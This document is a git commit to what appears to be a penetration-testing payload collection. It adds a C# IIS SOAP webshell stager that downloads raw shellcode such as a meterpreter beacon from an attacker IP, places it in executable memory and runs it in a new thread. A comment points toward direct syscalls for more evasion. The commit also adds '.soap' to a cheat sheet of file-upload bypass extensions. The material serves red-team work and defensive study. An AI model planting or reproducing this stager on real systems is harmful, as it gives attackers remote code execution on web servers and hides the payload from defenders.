SOAP File Upload

This commit is contained in:
Swissky 2022-04-18 21:32:54 +02:00
parent f8a7f1ded5
commit 578ea4d12b
2 changed files with 58 additions and 2 deletions

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@ -0,0 +1,55 @@
<%@ WebService Language="C#" class="SoapStager"%>
using System;
using System.IO;
using System.Web;
using System.Web.Services;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Security;
// SRC: https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap
// https://github.com/0xbad53c/webshells/tree/main/iis
[WebService(Namespace = "http://microsoft.com/" ,Description ="SOAP Stager Webshell" , Name ="SoapStager")]
[WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
public class SoapStager : MarshalByRefObject
{
private static Int32 MEM_COMMIT=0x1000;
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
[System.ComponentModel.ToolboxItem(false)]
[WebMethod]
public string loadStage()
{
string Url = "http://10.90.255.52/beacon.bin"; //your IP and location of meterpreter or other raw shellcode
byte[] rzjUFlLZh;
IWebProxy defaultWebProxy = WebRequest.DefaultWebProxy;
defaultWebProxy.Credentials = CredentialCache.DefaultCredentials;
// in case of HTTPS
using (WebClient webClient = new WebClient() { Proxy = defaultWebProxy })
{
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
ServicePointManager.ServerCertificateValidationCallback = new RemoteCertificateValidationCallback(delegate { return true; });
webClient.UseDefaultCredentials = true;
rzjUFlLZh = webClient.DownloadData(Url);
}
// Feel free to improve to PAGE_READWRITE & direct syscalls for more evasion
IntPtr fvYV5t = VirtualAlloc(IntPtr.Zero,(UIntPtr)rzjUFlLZh.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);
System.Runtime.InteropServices.Marshal.Copy(rzjUFlLZh,0,fvYV5t,rzjUFlLZh.Length);
IntPtr owlqRoQI_ms = IntPtr.Zero;
IntPtr vnspR2 = CreateThread(IntPtr.Zero,UIntPtr.Zero,fvYV5t,IntPtr.Zero,0,ref owlqRoQI_ms);
return "finished";
}
}

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@ -43,7 +43,7 @@
.phtm
.inc
```
* ASP Server : `.asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0)`
* ASP Server : `.asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0), shell.soap`
* JSP : `.jsp, .jspx, .jsw, .jsv, .jspf`
* Perl: `.pl, .pm, .cgi, .lib`
* Coldfusion: `.cfm, .cfml, .cfc, .dbm`
@ -144,3 +144,4 @@ When a ZIP/archive file is automatically decompressed after the upload
* [La PNG qui se prenait pour du PHP, 23 février 2014](https://phil242.wordpress.com/2014/02/23/la-png-qui-se-prenait-pour-du-php/)
* [File Upload restrictions bypass - Haboob Team](https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf)
* [File Upload - Mahmoud M. Awali / @0xAwali](https://docs.google.com/presentation/d/1-YwXl9rhzSvvqVvE_bMZo2ab-0O5wRNTnzoihB9x6jI/edit#slide=id.ga2ef157b83_1_0)
* [IIS - SOAP](https://red.0xbad53c.com/red-team-operations/initial-access/webshells/iis-soap)